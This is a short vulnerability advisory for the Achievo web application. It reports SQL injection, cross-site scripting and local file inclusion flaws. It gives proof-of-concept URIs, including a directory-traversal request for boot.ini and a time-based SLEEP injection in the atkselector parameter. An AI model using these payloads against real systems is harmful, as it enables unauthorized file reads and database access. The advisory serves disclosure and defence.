Achievo is prone to multiple input-validation vulnerabilities including: 1. An SQL-injection vulnerability. 2. Multiple cross-site-scripting vulnerabilities. 3. A local file-include vulnerability.
Credit:
The information has been provided by Canberk Bolat.
Exploiting these issues could allow the attacker to execute arbitrary local files, obtain sensitive information, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and bypass certain security restrictions to perform unauthorized actions.
Proof of Concept and Security Exploits:
Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issues, an attacker must entice an unsuspecting user into following a malicious URI.
The following exploit URIs are available:
http://www.example.com/dispatch.php (GET: atklevel, atkaction, atkstackid,atkselector, atkfilter, searchString)
http://www.example.com/dispatch.php?atkaction=search&atknodetype=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00.search&searchstring=3
http://www.example.com/achievo-1.4.5/dispatch.php?atknodetype=employee.userprefs&atkaction=edit&atkselector=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)&atklevel=-1&atkprevlevel=0&=3
